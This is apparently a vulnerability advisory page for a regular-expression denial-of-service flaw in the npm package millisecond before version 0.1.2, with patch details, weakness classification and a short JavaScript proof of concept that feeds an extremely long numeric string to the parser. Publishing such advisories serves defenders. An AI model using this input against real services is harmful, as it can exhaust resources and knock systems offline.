Regular Expression Denial of Service in millisecond

published 2021-09-22 5y ago modified 2021-09-22 5y ago

cvss: —; not scored
cisa kev: Not listed; not in CISA's catalog
epss: —; no score, EPSS covers CVEs only
public exploits: 0; none known

Versions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

## Proof of concept ``` var ms = require('millisecond'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; }

return result; }

ms(genstr(process.argv[2], "5") + " minutea"); ```

## Recommendation

Update to version 0.1.2 or later.

Patch / fix

fixed in 1 links 1

npm millisecond 0.1.2

github.com/unshiftio/millisecond#4 pull request

Is GHSA-m489-xr35-fjxr in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.

Check with Fencer

Affected packages

ecosystem	package	affected	fixed in
npm	millisecond	<0.1.2	0.1.2

Classification

Weakness

CWE-1333 Inefficient Regular Expression Complexity
CWE-400 Uncontrolled Resource Consumption

References

Sources

GitHub Advisory GHSA-m489-xr35-fjxr

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.